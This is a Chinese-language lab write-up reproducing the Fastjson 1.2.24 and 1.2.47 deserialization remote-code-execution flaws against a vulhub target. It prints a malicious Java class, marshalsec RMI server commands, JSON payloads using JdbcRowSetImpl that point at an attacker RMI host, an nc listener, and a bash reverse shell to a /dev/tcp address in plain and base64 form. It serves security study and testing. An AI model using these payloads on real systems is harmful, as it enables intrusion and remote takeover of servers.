Fastjson 1.2.24 反序列化漏洞复现

1.漏洞介绍

FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码影响版本

漏洞影响版本

Fastjson<1.2.25

漏洞利用原理:

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

2.漏洞环境搭建

靶机 Ubuntu虚拟机 ip: 192.168.241.129

攻击机 kail ip: 192.168.241.128

vulhub 进入/vulhub-master/fistjion/1.2.24-rce

使用命令:

docker-compose up -d

访问:ip+8090

http://192.168.241.129:8090

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出

FastJsonRedisSerializer 干啥的 fastjson error parse true_web安全

3.漏洞复现

1.首先编译并上传命令执行代码,TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将以上代码保存为TouchFile.java,在当前目录下执行

javac TouchFile.java

执行之后会生成一个TouchFile.class文件

2.使用Java反序列化利用工具marshalsec辅助开启RMI环境
git clone https://github.com/mbechler/marshalsec

下载之后进入目录使用cmd,用以下命令进行编译

mvn clean package -DskipTests		//使用mvn命令前需要确认maven安装

借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.241.128:4444/#TouchFile" 9999

FastJsonRedisSerializer 干啥的 fastjson error parse true_json_02

3.在编译好class文件所在的目录,使用python开启监听
python -m SimpleHTTPServer 4444

FastJsonRedisSerializer 干啥的 fastjson error parse true_json_03

SimpleHTTPServer是Python 2自带的一个模块,是Python的Web服务器。在Python 3已经合并到http.server模块中。如果不指定端口号默认的是8000端口。在局域网中使用web去访问http:/IP:8000即可

python2语法:python -m SimpleHTTPServer 
python3语法:python -m http.server
4.发送payload,反弹shell

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: 192.168.241.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.241.128:9999/TouchFile",
        "autoCommit":true
    }
}

FastJsonRedisSerializer 干啥的 fastjson error parse true_web安全_04

5.查看反弹shell ,进入靶机查看命令是否执行成功

可以看到监听信息,看到已建立连接。

FastJsonRedisSerializer 干啥的 fastjson error parse true_json_05

FastJsonRedisSerializer 干啥的 fastjson error parse true_web安全_06

进入靶机

查看容器id

docker ps

执行以下命令查看远程命令是否被执行:

docker exec -it 9ec77798e0bf /bin/bash

FastJsonRedisSerializer 干啥的 fastjson error parse true_web安全_07

可以看到执行成功,

如果想更改执行命令,将Touch.java中以下命令更改即可:

String[] commands = {"touch", "/tmp/success"};

4.fastjson 1.2.47 反序列化漏洞复现

1.正常复现

基本步骤和上面一致

poc如下:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://192.168.241.128:9999/Exploit", 
        "autoCommit": true
    }
}
2.使用工具进行复现

下载地址:

https://github.com/zhzyker/exphub
fastjson_tool.jar
fastjson-1.2.47_rce.py

主机B开启RMI服务,加载远程恶意java类

bash -i >& /dev/tcp/192.168.241.128/6666 0>&1 //需要base64编码
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.241.128 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNjY2NiAwPiYx==}|{base64,-d}|{bash,-i}"

FastJsonRedisSerializer 干啥的 fastjson error parse true_json_08

启动nc监听6666端口

nc -lnvp 6666

发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令

python3 fastjson-1.2.47_rce.py http://192.168.241.129:8090 rmi://192.168.241.128:9998/Object

FastJsonRedisSerializer 干啥的 fastjson error parse true_python_09

然而并没有反弹shell